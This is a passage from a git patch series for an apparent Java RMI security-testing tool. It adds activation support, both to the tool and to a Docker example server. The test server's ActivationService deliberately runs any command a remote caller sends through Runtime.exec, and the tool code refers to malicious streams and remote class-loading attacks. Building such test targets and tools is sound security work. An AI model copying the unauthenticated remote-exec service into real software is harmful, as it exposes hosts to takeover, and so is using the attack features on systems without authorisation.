From 2bb957f8a628344640daf7c3540e040caeffeb84 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 3 May 2022 07:22:12 +0200 Subject: [PATCH 01/19] [docker] Add activation system to example server Added an activation system to the example server. This can be used to reproduce the error mentioned in issue #30. The code still throws one exception where I'm not sure from where its coming from. However, the server seems to be functional. This commit probably crashes the pipeline, as the activation system was removed from more recent jdk packages. We will need to investigate whats the best way to build it in future. --- .../src/de/qtc/rmg/server/ExampleServer.java | 30 +++---- .../server/activation/ActivationServer.java | 90 +++++++++++++++++++ .../server/activation/ActivationService.java | 57 ++++++++++++ .../server/activation/IActivationService.java | 10 +++ .../qtc/rmg/server/legacy/LegacyServer.java | 22 +---- .../src/de/qtc/rmg/server/utils/Utils.java | 54 +++++++++-- 6 files changed, 220 insertions(+), 43 deletions(-) create mode 100644 docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java create mode 100644 docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService.java create mode 100644 docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService.java diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java index 5846dd2f..39dc38fa 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/ExampleServer.java @@ -1,6 +1,5 @@ package de.qtc.rmg.server; -import java.rmi.AccessException; import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.Remote; @@ -12,6 +11,7 @@ import javax.rmi.ssl.SslRMIClientSocketFactory; import javax.rmi.ssl.SslRMIServerSocketFactory; +import de.qtc.rmg.server.activation.ActivationServer; import de.qtc.rmg.server.interfaces.IPlainServer; import de.qtc.rmg.server.interfaces.ISecureServer; import de.qtc.rmg.server.interfaces.ISslServer; @@ -20,6 +20,7 @@ import de.qtc.rmg.server.operations.SecureServer; import de.qtc.rmg.server.operations.SslServer; import de.qtc.rmg.server.utils.Logger; +import de.qtc.rmg.server.utils.Utils; public class ExampleServer { @@ -31,7 +32,7 @@ public class ExampleServer { public static void main(String[] argv) { String disableColor = System.getProperty("de.qtc.rmg.server.disableColor"); - if( disableColor != null && disableColor.equalsIgnoreCase("true") ) + if (disableColor != null && disableColor.equalsIgnoreCase("true")) Logger.disableColor(); Logger.println("Initializing Java RMI Server:"); @@ -46,24 +47,25 @@ public static void main(String[] argv) SslRMIClientSocketFactory csf = new SslRMIClientSocketFactory(); SslRMIServerSocketFactory ssf = new SslRMIServerSocketFactory(); - Logger.printlnMixedYellow("Creating RMI-Registry on port", String.valueOf(registryPort)); + Logger.printMixedBlue("Creating", "RMI-Registry", "on port "); + Logger.printlnPlainYellow(String.valueOf(registryPort)); Registry registry = LocateRegistry.createRegistry(registryPort, csf, ssf); Logger.println(""); Logger.printlnMixedBlue("Creating", "PlainServer", "object."); remoteObject1 = new PlainServer(); IPlainServer stub = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject1, 0); - bindToRegistry(stub, registry, "plain-server"); + Utils.bindToRegistry(stub, registry, "plain-server"); Logger.printlnMixedBlue("Creating", "SSLServer", "object."); remoteObject2 = new SslServer(); ISslServer stub2 = (ISslServer)UnicastRemoteObject.exportObject(remoteObject2, 0, csf, ssf); - bindToRegistry(stub2, registry, "ssl-server"); + Utils.bindToRegistry(stub2, registry, "ssl-server"); Logger.printlnMixedBlue("Creating", "SecureServer", "object."); remoteObject3 = new SecureServer(); ISecureServer stub3 = (ISecureServer)UnicastRemoteObject.exportObject(remoteObject3, 0); - bindToRegistry(stub3, registry, "secure-server"); + Utils.bindToRegistry(stub3, registry, "secure-server"); Logger.decreaseIndent(); Logger.println(""); @@ -72,23 +74,11 @@ public static void main(String[] argv) Logger.println(""); LegacyServer.init(); + ActivationServer.init(); } catch (RemoteException | AlreadyBoundException | NotBoundException e) { - System.err.println("[-] Unexpected RMI Error:"); + Logger.eprintln("Unexpected RMI Error:"); e.printStackTrace(); } } - - public static void bindToRegistry(Remote object, Registry registry, String boundName) throws AccessException, RemoteException, AlreadyBoundException, NotBoundException - { - Logger.increaseIndent(); - Logger.printlnMixedYellow("Binding Object as", boundName); - registry.bind(boundName, object); - - Object o = registry.lookup(boundName); - String className = o.getClass().getInterfaces()[0].getSimpleName(); - Logger.printMixedYellow("Boundname", boundName); - Logger.printlnPlainMixedBlue(" with interface", className, "is ready."); - Logger.decreaseIndent(); - } } diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java new file mode 100644 index 00000000..b60ddc23 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationServer.java @@ -0,0 +1,90 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.AccessException; +import java.rmi.AlreadyBoundException; +import java.rmi.NotBoundException; +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.activation.Activatable; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationGroup; +import java.rmi.activation.ActivationGroupDesc; +import java.rmi.activation.ActivationGroupID; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.Properties; + +import de.qtc.rmg.server.utils.Logger; +import de.qtc.rmg.server.utils.Utils; + +@SuppressWarnings("unused") +public class ActivationServer +{ + private static int activationSystemPort = 1098; + private static Remote remoteObject1 = null; + + public static void init() + { + Logger.increaseIndent(); + + try { + Logger.printMixedBlue("Creating", "ActivationSystem", "on port "); + Logger.printlnPlainYellow(String.valueOf(activationSystemPort)); + Utils.startActivation(activationSystemPort, null, "/tmp/activation-log", null); + + Properties props = new Properties(); + props.put("java.security.policy", "/opt/policy"); + props.put("java.security.debug", ""); + + ActivationGroupDesc groupDesc = new ActivationGroupDesc(props, null); + + /* + * In the following we register the activation group. For some reason, this creates a ThreadDump, + * although the operation finished and the group is registered correctly. I have no idea where this + * ThreadDump comes from. If someone knows, please create an issue that explains it :) + * + * The code below disables stderr temporarily to prevent the ThreadDump to confuse users. Here is + * the StackTrace that would be shown otherwise: + * java.lang.Exception: Stack trace + * at java.lang.Thread.dumpStack(Thread.java:1336) + * at sun.rmi.server.Activation$ActivationSystemImpl.registerGroup(Activation.java:538) + * at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + * at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + * at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + * at java.lang.reflect.Method.invoke(Method.java:498) + * at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:357) + * at sun.rmi.transport.Transport$1.run(Transport.java:200) + * at sun.rmi.transport.Transport$1.run(Transport.java:197) + * at java.security.AccessController.doPrivileged(Native Method) + * at sun.rmi.transport.Transport.serviceCall(Transport.java:196) + * at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573) + * at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + * at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + * at java.security.AccessController.doPrivileged(Native Method) + * at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + * at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + * at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + * at java.lang.Thread.run(Thread.java:748) + */ + Utils.toogleOutput(); + ActivationGroupID groupID = ActivationGroup.getSystem().registerGroup(groupDesc); + Utils.toogleOutput(); + + ActivationDesc desc = new ActivationDesc(groupID, ActivationService.class.getName(), null, null); + remoteObject1 = Activatable.register(desc); + + Utils.bindToRegistry(remoteObject1, LocateRegistry.getRegistry(activationSystemPort), "activation-test"); + + Logger.println(""); + Logger.decreaseIndent(); + + Logger.println("Server setup finished."); + Logger.println("Waiting for incoming connections."); + Logger.println(""); + + } catch (Exception e) { + Logger.eprintln("Unexpected RMI Error:"); + e.printStackTrace(); + } + } +} diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService.java new file mode 100644 index 00000000..cb0a6cd4 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService.java @@ -0,0 +1,57 @@ +package de.qtc.rmg.server.activation; + +import java.io.IOException; +import java.rmi.MarshalledObject; +import java.rmi.RemoteException; +import java.rmi.activation.Activatable; +import java.rmi.activation.ActivationID; + +import de.qtc.rmg.server.utils.Logger; +import de.qtc.rmg.server.utils.Utils; + +public class ActivationService extends Activatable implements IActivationService +{ + private static final long serialVersionUID = 3047196196290730685L; + + @SuppressWarnings("rawtypes") + public ActivationService(ActivationID id, MarshalledObject data) throws RemoteException + { + super(id, 0); + } + + public String execute(String command) + { + Logger.printlnMixedBlueYellow("[ActivationServer]:", "Processing call for", "String execute(String command)"); + String result = ""; + + try { + Process p = java.lang.Runtime.getRuntime().exec(command); + p.waitFor(); + result = Utils.readFromProcess(p); + } catch( IOException | InterruptedException e) { + result = "Exception: " + e.getMessage(); + } + + return result; + } + + public String system(String command, String[] args) + { + Logger.printlnMixedBlueYellow("[ActivationServer]:", "Processing call for", "String system(String command, String[] args)"); + String result = ""; + + String[] commandArray = new String[args.length + 1]; + commandArray[0] = command; + System.arraycopy(args, 0, commandArray, 1, args.length); + + try { + Process p = java.lang.Runtime.getRuntime().exec(commandArray); + p.waitFor(); + result = Utils.readFromProcess(p); + } catch( IOException | InterruptedException e) { + result = "Exception: " + e.getMessage(); + } + + return result; + } +} \ No newline at end of file diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService.java new file mode 100644 index 00000000..e74260ca --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService.java @@ -0,0 +1,10 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.Remote; +import java.rmi.RemoteException; + +public interface IActivationService extends Remote +{ + String execute(String cmd) throws RemoteException; + String system(String cmd, String[] args) throws RemoteException; +} \ No newline at end of file diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java index d8a6e783..11adb313 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java @@ -1,7 +1,6 @@ package de.qtc.rmg.server.legacy; import java.net.MalformedURLException; -import java.rmi.AccessException; import java.rmi.AlreadyBoundException; import java.rmi.Naming; import java.rmi.NotBoundException; @@ -31,7 +30,8 @@ public static void init() Logger.increaseIndent(); try { - Logger.printlnMixedYellow("Creating RMI-Registry on port", String.valueOf(registryPort)); + Logger.printMixedBlue("Creating", "RMI-Registry", "on port "); + Logger.printlnPlainYellow(String.valueOf(registryPort)); Registry registry = LocateRegistry.createRegistry(registryPort); Logger.println(""); @@ -52,12 +52,12 @@ public static void init() Logger.printlnMixedBlue("Creating", "PlainServer", "object."); remoteObject2 = new PlainServer(); IPlainServer stub1 = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject2, 0); - bindToRegistry(stub1, registry, "plain-server"); + Utils.bindToRegistry(stub1, registry, "plain-server"); Logger.printlnMixedBlue("Creating another", "PlainServer", "object."); remoteObject3 = new PlainServer(); IPlainServer stub2 = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject3, 0); - bindToRegistry(stub2, registry, "plain-server2"); + Utils.bindToRegistry(stub2, registry, "plain-server2"); try { Logger.printlnMixedBlue("Creating", "ActivatorImp", "object."); @@ -77,7 +77,6 @@ public static void init() Logger.decreaseIndent(); Logger.println("Server setup finished."); - Logger.println("Waiting for incoming connections."); Logger.println(""); } catch (RemoteException | MalformedURLException | AlreadyBoundException | NotBoundException e) { @@ -85,17 +84,4 @@ public static void init() e.printStackTrace(); } } - - public static void bindToRegistry(Remote object, Registry registry, String boundName) throws AccessException, RemoteException, AlreadyBoundException, NotBoundException - { - Logger.increaseIndent(); - Logger.printlnMixedYellow("Binding Object as", boundName); - registry.bind(boundName, object); - - Object o = registry.lookup(boundName); - String className = o.getClass().getInterfaces()[0].getSimpleName(); - Logger.printMixedYellow("Boundname", boundName); - Logger.printlnPlainMixedBlue(" with interface", className, "is ready."); - Logger.decreaseIndent(); - } } diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java index f0d321a2..df3d8004 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java @@ -3,18 +3,29 @@ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.rmi.AccessException; +import java.rmi.AlreadyBoundException; +import java.rmi.NotBoundException; +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.registry.Registry; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.RemoteObject; import sun.rmi.server.Activation; @SuppressWarnings("restriction") -public class Utils { - - public static String readFromProcess(Process p) throws IOException { +public class Utils +{ + private static PrintStream output = null; + public static String readFromProcess(Process p) throws IOException + { StringBuilder result = new StringBuilder(); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); @@ -52,7 +63,6 @@ public static void disableWarnings() } catch (Exception e) {} } - public static RemoteObject getActivator(int port, RMIServerSocketFactory ssf) throws Exception { disableWarnings(); @@ -70,4 +80,38 @@ public static RemoteObject getActivator(int port, RMIServerSocketFactory ssf) th RemoteObject activator = (RemoteObject)constructor.newInstance(activation, port, ssf); return activator; } -} + + public static void startActivation(int port, RMIServerSocketFactory ssf, String logName, String[] args) throws Exception + { + disableWarnings(); + + Class activationClass = Class.forName("sun.rmi.server.Activation"); + Method startActivation = activationClass.getDeclaredMethod("startActivation", new Class[] { int.class, RMIServerSocketFactory.class, String.class, String[].class } ); + startActivation.setAccessible(true); + startActivation.invoke(null, port, ssf, logName, new String[] {}); + } + + public static void toogleOutput() + { + if (output == null) { + output = System.err; + System.setErr(new PrintStream(new OutputStream() { public void write(int arg0) throws IOException {} })); + + } else { + System.setErr(output); + } + } + + public static void bindToRegistry(Remote object, Registry registry, String boundName) throws AccessException, RemoteException, AlreadyBoundException, NotBoundException + { + Logger.increaseIndent(); + Logger.printlnMixedYellow("Binding Object as", boundName); + registry.bind(boundName, object); + + Object o = registry.lookup(boundName); + String className = o.getClass().getInterfaces()[0].getSimpleName(); + Logger.printMixedYellow("Boundname", boundName); + Logger.printlnPlainMixedBlue(" with interface", className, "is ready."); + Logger.decreaseIndent(); + } +} \ No newline at end of file From 21d91d080d0be014fd5d367903da9caa03d8fbd8 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Thu, 5 May 2022 07:55:08 +0200 Subject: [PATCH 02/19] Add first draft for activation support Added a first draft for activation support that addresses issue #30. The basic operations like enum should already be fully functional for java versions that still containt the activation system related classes. More complex operations need to be tested and may not be fully functional yet for ActivatableRef types. Furthermore, support for java versions that miss the activation classes needs to be implemented. --- .../qtc/rmg/internal/CodebaseCollector.java | 20 +- src/de/qtc/rmg/internal/RMGOption.java | 2 + src/de/qtc/rmg/io/Formatter.java | 49 ++++- .../rmg/networking/RMIRegistryEndpoint.java | 2 +- .../qtc/rmg/operations/ActivationClient.java | 31 ++- src/de/qtc/rmg/operations/Dispatcher.java | 5 +- src/de/qtc/rmg/operations/MethodGuesser.java | 15 +- src/de/qtc/rmg/operations/Operation.java | 6 + .../rmg/operations/RemoteObjectClient.java | 7 +- src/de/qtc/rmg/plugin/PluginSystem.java | 20 ++ src/de/qtc/rmg/utils/ActivatableWrapper.java | 134 ++++++++++++ src/de/qtc/rmg/utils/RMGUtils.java | 21 ++ src/de/qtc/rmg/utils/RemoteObjectWrapper.java | 206 ++++++++---------- src/de/qtc/rmg/utils/UnicastWrapper.java | 106 +++++++++ 14 files changed, 492 insertions(+), 132 deletions(-) create mode 100644 src/de/qtc/rmg/utils/ActivatableWrapper.java create mode 100644 src/de/qtc/rmg/utils/UnicastWrapper.java diff --git a/src/de/qtc/rmg/internal/CodebaseCollector.java b/src/de/qtc/rmg/internal/CodebaseCollector.java index 981eb68f..935303b6 100644 --- a/src/de/qtc/rmg/internal/CodebaseCollector.java +++ b/src/de/qtc/rmg/internal/CodebaseCollector.java @@ -35,6 +35,11 @@ * advantages. The probably biggest one is that you have no longer to distinguish between modern proxy-like * remote objects and legacy stubs manually, as they are loaded using different calls (loadClass vs loadProxyClass). * + * From remote-method-guesser v4.3.0, this class also handles issues that are caused by the probably missing + * activation system. If the server returns an ActivatableRef, this class is probably no longer existing in + * the currently running JVM, as it was deprecated and removed in 2021. This class checks whether the + * ActivatbaleRef class is requested and creates it dynamically if required. + * * Summarized: * * 1. Extract server specified codebases and store them within a HashMap for later use @@ -53,6 +58,12 @@ public class CodebaseCollector extends RMIClassLoaderSpi { * Just a proxy to the loadClass method of the default provider instance. If a codebase * was specified, it is added to the codebase list. Afterwards, the codebase is set to * null and the call is handed off to the default provider. + * + * RMI stub classes are attempted to be looked up and if they are not exist, they are + * created dynamically. This allows remote-method-guesser to inspect remote stub + * objects. Furthermore, the ActivatableRef class is treated special, since it does + * no longer exist in more recent Java versions. If an ActivatableRef is encountered, + * it is checked whether the class exists and it is created dynamically otherwise. */ public Class loadClass(String codebase, String name, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException { @@ -63,9 +74,12 @@ public Class loadClass(String codebase, String name, ClassLoader defaultLoade try { - if( name.endsWith("_Stub") ) + if (name.endsWith("_Stub")) RMGUtils.makeLegacyStub(name); + if (name.equals("sun.rmi.server.ActivatableRef")) + RMGUtils.makeActivatbaleRef(); + resolvedClass = originalLoader.loadClass(codebase, name, defaultLoader); } catch (CannotCompileException | NotFoundException e) { @@ -79,6 +93,10 @@ public Class loadClass(String codebase, String name, ClassLoader defaultLoade * Just a proxy to the loadProxyClass method of the default provider instance. If a codebase * was specified, it is added to the codebase list. Afterwards, the codebase is set to * null and the call is handed off to the default provider. + * + * For each interface to be loaded, it is checked whether the interface already exists in + * the current JVM. If this is not the case, it is created dynamically. This allows + * remote-method-guesser to inspect remote objects that implement unknown interfaces. */ public Class loadProxyClass(String codebase, String[] interfaces, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException { diff --git a/src/de/qtc/rmg/internal/RMGOption.java b/src/de/qtc/rmg/internal/RMGOption.java index c8514a0c..15437df5 100644 --- a/src/de/qtc/rmg/internal/RMGOption.java +++ b/src/de/qtc/rmg/internal/RMGOption.java @@ -94,6 +94,8 @@ public enum RMGOption { OBJID_OBJID("objid", "ObjID string to parse", Arguments.store(), RMGOptionGroup.ACTION, "objid"), KNOWN_CLASS("classname", "classname to check within the database", Arguments.store(), RMGOptionGroup.ACTION, "classname"), + ACTIVATION("--activate", "enable activation for ActivatableRef", Arguments.storeTrue(), RMGOptionGroup.ACTION), + FORCE_ACTIVATION("--force-activation", "force activation of ActivatableRef", Arguments.storeTrue(), RMGOptionGroup.ACTION), ARGUMENT_POS("--position", "payload argument position", Arguments.store(), RMGOptionGroup.ACTION, "pos"), NO_CANARY("--no-canary", "do not use a canary during RMI attacks", Arguments.storeTrue(), RMGOptionGroup.ACTION), NO_PROGRESS("--no-progress", "disable progress bars", Arguments.storeTrue(), RMGOptionGroup.ACTION), diff --git a/src/de/qtc/rmg/io/Formatter.java b/src/de/qtc/rmg/io/Formatter.java index 42d18e35..75ce49c3 100644 --- a/src/de/qtc/rmg/io/Formatter.java +++ b/src/de/qtc/rmg/io/Formatter.java @@ -11,7 +11,9 @@ import de.qtc.rmg.internal.CodebaseCollector; import de.qtc.rmg.internal.MethodCandidate; import de.qtc.rmg.operations.RemoteObjectClient; +import de.qtc.rmg.utils.ActivatableWrapper; import de.qtc.rmg.utils.RemoteObjectWrapper; +import de.qtc.rmg.utils.UnicastWrapper; /** * The formatter class is used to print formatted output for the enum and guess operations. @@ -57,7 +59,7 @@ public void listBoundNames(RemoteObjectWrapper[] remoteObjects) Logger.printlnPlainMixedPurple("", "(unknown class)"); } - printLiveRef(remoteObject); + printRemoteRef(remoteObject); Logger.decreaseIndent(); } @@ -236,12 +238,27 @@ private void listVulnerabilities(List vulns) } /** - * Print formatted output to display a LiveRef. To make fields more accessible, the ref needs to - * be wrapped into an RemoteObjectWrapper first. + * Checks whether the specified RemoteObjectWrapper is a UnicastWrapper or an + * ActivatableWrapper and calls the corresponding function accordingly. * - * @param ref RemoteObjectWrapper wrapper around a LiveRef + * @param wrapper RemoteObjectWrapper containing the RemoteRef */ - private void printLiveRef(RemoteObjectWrapper ref) + private void printRemoteRef(RemoteObjectWrapper wrapper) + { + if (wrapper instanceof UnicastWrapper) + printUnicastRef((UnicastWrapper)wrapper); + + else + printActivatableRef((ActivatableWrapper)wrapper); + } + + /** + * Print information on a UnicastRef. This information includes the remote + * endpoint, whether it uses TLS and the ObjID of the associated remote object. + * + * @param ref UnicastWrapper containing the UnicastRef + */ + private void printUnicastRef(UnicastWrapper ref) { if(ref == null || ref.remoteObject == null) return; @@ -265,4 +282,26 @@ private void printLiveRef(RemoteObjectWrapper ref) Logger.printlnPlainMixedBlue(" ObjID:", ref.objID.toString()); } + + /** + * Print some more information on a ActivatableRef. This always includes + * the endpoint of the corresponding Activator instance and the associated + * ActivationID. If the ActivatbaleRef was already activated, the associated + * UnicastRef information is also printed, as in the case of printUnicastRef. + * + * @param ref ActivatableWrapper containing the activatbale ref + */ + private void printActivatableRef(ActivatableWrapper ref) + { + if(ref == null || ref.remoteObject == null) + return; + + Logger.print(" "); + Logger.printPlainMixedBlue("Activator:", ref.getActivatorEndpoint()); + Logger.printlnPlainMixedBlue(" ActivationID:", ref.activationUID.toString()); + + UnicastWrapper unicastRef = ref.getActivated(); + if (unicastRef != null) + printUnicastRef(unicastRef); + } } diff --git a/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java b/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java index 8820e5a6..be9b55f7 100644 --- a/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java +++ b/src/de/qtc/rmg/networking/RMIRegistryEndpoint.java @@ -139,7 +139,7 @@ public RemoteObjectWrapper[] lookup(String[] boundNames) throws IllegalArgumentE for(int ctr = 0; ctr < boundNames.length; ctr++) { Remote remoteObject = this.lookup(boundNames[ctr]); - remoteObjects[ctr] = new RemoteObjectWrapper(remoteObject, boundNames[ctr]); + remoteObjects[ctr] = RemoteObjectWrapper.getInstance(remoteObject, boundNames[ctr]); } return remoteObjects; diff --git a/src/de/qtc/rmg/operations/ActivationClient.java b/src/de/qtc/rmg/operations/ActivationClient.java index 5da7c081..6fb0e1ca 100644 --- a/src/de/qtc/rmg/operations/ActivationClient.java +++ b/src/de/qtc/rmg/operations/ActivationClient.java @@ -1,6 +1,7 @@ package de.qtc.rmg.operations; import java.rmi.server.ObjID; +import java.rmi.server.RemoteRef; import de.qtc.rmg.internal.ExceptionHandler; import de.qtc.rmg.internal.MethodArguments; @@ -8,6 +9,8 @@ import de.qtc.rmg.io.Logger; import de.qtc.rmg.io.MaliciousOutputStream; import de.qtc.rmg.networking.RMIEndpoint; +import javassist.ClassPool; +import javassist.CtClass; /** * In the old days, it was pretty common for RMI endpoints to use an Activator. An Activator @@ -201,8 +204,34 @@ private MethodArguments prepareCallArguments(Object payloadObject) * @param maliciousStream whether or not to use MaliciousOutputStream, which activates a custom codebase * @throws Exception connection related exceptions are caught, but anything other is thrown */ - private void activateCall(MethodArguments callArguments, boolean maliciousStream) throws Exception + public void activateCall(MethodArguments callArguments, boolean maliciousStream) throws Exception { rmi.genericCall(objID, -1, methodHash, callArguments, maliciousStream, "activate"); } + + /** + * This function is used for performing regular calls to the RMI Activator. It is used when the RMI server + * returns an ActivatableRef that needs to be activated. Callers need to obtain the return value + * (MarshalledObject) by registering a ResponseHandler. + * + * Notice that the ActivationID is passed as a generic Object argument. This is required, since + * remote-method-guesser should stay compatible with Java distributions that already removed the + * activation system. Therefore, we should not use activation system related classed directly. + * + * @param activationID the ActivationID of the reference to activate + * @param force whether to force the activation (do not return cached referecnes) + * @param ref RemoteRef for the Activator remote object + * @throws Exception connection related exceptions are caught, but anything other is thrown + */ + public void regularActivateCall(Object activationID, boolean force, RemoteRef ref) throws Exception + { + MethodArguments callArguments = new MethodArguments(2); + callArguments.add(activationID, Object.class); + callArguments.add(force, boolean.class); + + ClassPool pool = ClassPool.getDefault(); + CtClass type = pool.get("java.rmi.MarshalledObject"); + + rmi.genericCall(objID, -1, methodHash, callArguments, false, "activate", ref, type); + } } diff --git a/src/de/qtc/rmg/operations/Dispatcher.java b/src/de/qtc/rmg/operations/Dispatcher.java index 11bf9b79..4b8450fb 100644 --- a/src/de/qtc/rmg/operations/Dispatcher.java +++ b/src/de/qtc/rmg/operations/Dispatcher.java @@ -27,6 +27,7 @@ import de.qtc.rmg.utils.RMGUtils; import de.qtc.rmg.utils.RemoteObjectWrapper; import de.qtc.rmg.utils.RogueJMX; +import de.qtc.rmg.utils.UnicastWrapper; import de.qtc.rmg.utils.YsoIntegration; import javassist.CannotCompileException; import javassist.NotFoundException; @@ -368,7 +369,6 @@ public void dispatchCall() * option. If the signature is a real method signature, a target needs to be specified by * bound name or ObjID. Otherwise, the --signature is expected to be one of act, dgc or reg. */ - @SuppressWarnings("deprecation") public void dispatchCodebase() { RMGOption.requireTarget(); @@ -549,6 +549,7 @@ public void dispatchEnum() public void dispatchGuess() { Formatter format = new Formatter(); + UnicastWrapper[] wrappers = RemoteObjectWrapper.getUnicastWrappers(remoteObjects); try { obtainBoundObjects(); @@ -557,7 +558,7 @@ public void dispatchGuess() ExceptionHandler.noSuchObjectException(e, "registry", true); } - MethodGuesser guesser = new MethodGuesser(remoteObjects, getCandidates()); + MethodGuesser guesser = new MethodGuesser(wrappers, getCandidates()); guesser.printGuessingIntro(); List results = guesser.guessMethods(); diff --git a/src/de/qtc/rmg/operations/MethodGuesser.java b/src/de/qtc/rmg/operations/MethodGuesser.java index 5e881261..efc9f526 100644 --- a/src/de/qtc/rmg/operations/MethodGuesser.java +++ b/src/de/qtc/rmg/operations/MethodGuesser.java @@ -16,6 +16,7 @@ import de.qtc.rmg.utils.ProgressBar; import de.qtc.rmg.utils.RMGUtils; import de.qtc.rmg.utils.RemoteObjectWrapper; +import de.qtc.rmg.utils.UnicastWrapper; /** * The MethodGuesser class is used to brute force available remote methods on Java RMI endpoints. It uses @@ -56,7 +57,7 @@ public class MethodGuesser { * @param remoteObjects Array of looked up remote objects from the RMI registry * @param candidates MethodCandidates that should be guessed */ - public MethodGuesser(RemoteObjectWrapper[] remoteObjects, Set candidates) + public MethodGuesser(UnicastWrapper[] remoteObjects, Set candidates) { this.candidates = candidates; @@ -82,15 +83,15 @@ public MethodGuesser(RemoteObjectWrapper[] remoteObjects, Set c * * @param remoteObjects Array of looked up remote objects from the RMI registry */ - private List initClientList(RemoteObjectWrapper[] remoteObjects) + private List initClientList(UnicastWrapper[] remoteObjects) { List remoteObjectClients = new ArrayList(); setPadding(remoteObjects); if( !RMGOption.GUESS_DUPLICATES.getBool() ) - remoteObjects = RemoteObjectWrapper.handleDuplicates(remoteObjects); + remoteObjects = (UnicastWrapper[]) UnicastWrapper.handleDuplicates(remoteObjects); - for( RemoteObjectWrapper o : remoteObjects ) { + for( UnicastWrapper o : remoteObjects ) { RemoteObjectClient client = new RemoteObjectClient(o); remoteObjectClients.add(client); @@ -166,11 +167,11 @@ private void printDuplicates(RemoteObjectWrapper[] remoteObjects) * @param remoteObjects Array of looked up remote objects from the RMI registry * @return Array of unknown remote objects */ - private RemoteObjectWrapper[] handleKnownMethods(RemoteObjectWrapper[] remoteObjects) + private UnicastWrapper[] handleKnownMethods(UnicastWrapper[] remoteObjects) { ArrayList unknown = new ArrayList(); - for(RemoteObjectWrapper o : remoteObjects) { + for(UnicastWrapper o : remoteObjects) { if(!o.isKnown()) unknown.add(o); @@ -204,7 +205,7 @@ private RemoteObjectWrapper[] handleKnownMethods(RemoteObjectWrapper[] remoteObj Logger.enable(); } - return unknown.toArray(new RemoteObjectWrapper[0]); + return unknown.toArray(new UnicastWrapper[0]); } /** diff --git a/src/de/qtc/rmg/operations/Operation.java b/src/de/qtc/rmg/operations/Operation.java index 31c92cd1..cf951772 100644 --- a/src/de/qtc/rmg/operations/Operation.java +++ b/src/de/qtc/rmg/operations/Operation.java @@ -67,6 +67,7 @@ public enum Operation { RMGOption.SSRF_RAW, RMGOption.SSRF_STREAM_PROTOCOL, RMGOption.CALL_ARGUMENTS, + RMGOption.FORCE_ACTIVATION, }), CODEBASE("dispatchCodebase", " ", "Perform remote class loading attacks", new RMGOption[] { @@ -91,6 +92,7 @@ public enum Operation { RMGOption.CODEBASE_URL, RMGOption.CODEBASS_CLASS, RMGOption.ARGUMENT_POS, + RMGOption.FORCE_ACTIVATION, }), ENUM("dispatchEnum", "[scan-action ...]", "Enumerate common vulnerabilities on Java RMI endpoints", new RMGOption[] { @@ -113,6 +115,8 @@ public enum Operation { RMGOption.SSRF_STREAM_PROTOCOL, RMGOption.DGC_METHOD, RMGOption.REG_METHOD, + RMGOption.ACTIVATION, + 